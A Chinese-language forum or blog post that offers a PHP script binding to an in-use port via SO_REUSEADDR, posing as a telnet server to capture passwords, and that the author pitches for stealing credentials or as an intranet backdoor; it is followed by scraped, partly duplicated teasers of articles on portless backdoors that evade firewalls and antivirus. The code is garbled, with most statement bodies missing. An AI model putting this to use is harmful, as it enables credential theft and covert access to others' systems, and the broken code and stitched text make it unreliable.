經常看到有朋友問埠復用,我花了乙個晚上寫了一點**
本來想做成嗅嘆**的,無奈單執行緒的東西很侷限,而且始終只能得到頭行資料。我想要做成那樣的,對於高手來說,不是困難的事。
如果你不懂如何配置,請參照我以前的文章《php-sockets初步接觸》。win下只要有guest許可權即可用,而且通過配合
〈windows下裝多個php〉 這篇文章,guest可以單獨安裝支援phpsockets的php。
假如監聽127.0.0.1 ,訪問共網ip不受影響,假如監聽公網ip,127。0。0。1等ip不受影響。
這個可以用於欺騙使用者密碼,因為原來的服務不可用了。或者留成針對內網使用者的後門。
最後歡迎加msn:cqxy[at]21cn。net賜教。
#!/usr/bin/php -q
#c0dz by darkness[bst]
#team:
www.bugkidz.org
#e-mail:cqxy[at]21cn.net
<?php
if ($argc != 3 || in_array($argc[1] , array('--help','-h','?')))
error_reporting(e_all);
set_time_limit(0);
ob_implicit_flush();
$host = $argv[1];
$port = $argv[2];
if (($sock = socket_create(af_inet, sock_stream, sol_tcp)) < 0) /*建立socket*/
socket_set_option($sock,sol_socket,so_reuseaddr,1); /*設定socket連線的屬性為so_reuseaddr,這樣才可以埠復用*/
if (($ret = socket_bind($sock, $host, $port)) < 0) /*繫結埠*/
if (($ret = socket_listen($sock, 5)) < 0) /*開始監聽*/
while(true)
if ($port == 23)
/*這裡是偽裝資訊,把自己偽裝成原來的telnet伺服器,這樣來騙取密碼*/
while(true)
if (!$buf = trim($buf))
if ($buf == '!quit')
if ($buf == '!shutdown')
$sniff_data = "$buf/r/n";
/* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/
echo $sniff_data;
/*輸出字串,這裡可以加進檔案處理,儲存密碼什麼的*/
} socket_close($sniffer);
}socket_close($resock);
socket_close($sock);
?>
劫持WSAAccept 實現無埠後門
分類 網路技術 隨著網民安全意識的日益提高,現在找個安全隱蔽餓後門是越來越難了。用現成的固然省事,但無奈前有防火牆的堵截 後有防毒軟體的追擊,用起來還得百般小心,生怕露出馬腳,被管理員發現,好不容易得來的肉雞又傾刻飛掉,豈不痛心?俗話說 自己動手,豐衣足食 我就不信自己寫的後門也會立刻被殺!心動不如...
在C 中實現Socket埠復用
一 什麼是埠復用 因為在winsock的實現中,對於伺服器的繫結是可以多重繫結的,在確定多重繫結使用誰的時候,根據一條原則是誰的指定最明確則將包遞交給誰,而且沒有許可權之分。這種多重繫結便稱之為埠復用。二 我們如何實現socket埠復用 其實我們要實現埠復用很簡單,我們只要使用setsocketop...
在C 中實現Socket埠復用
一 什麼是埠復用 因為在winsock的實現中,對於伺服器的繫結是可以多重繫結的,在確定多重繫結使用誰的時候,根據一條原則是誰的指定最明確則將包遞交給誰,而且沒有許可權之分。這種多重繫結便稱之為埠復用。二 我們如何實現socket埠復用 其實我們要實現埠復用很簡單,我們只要使用setsocketop...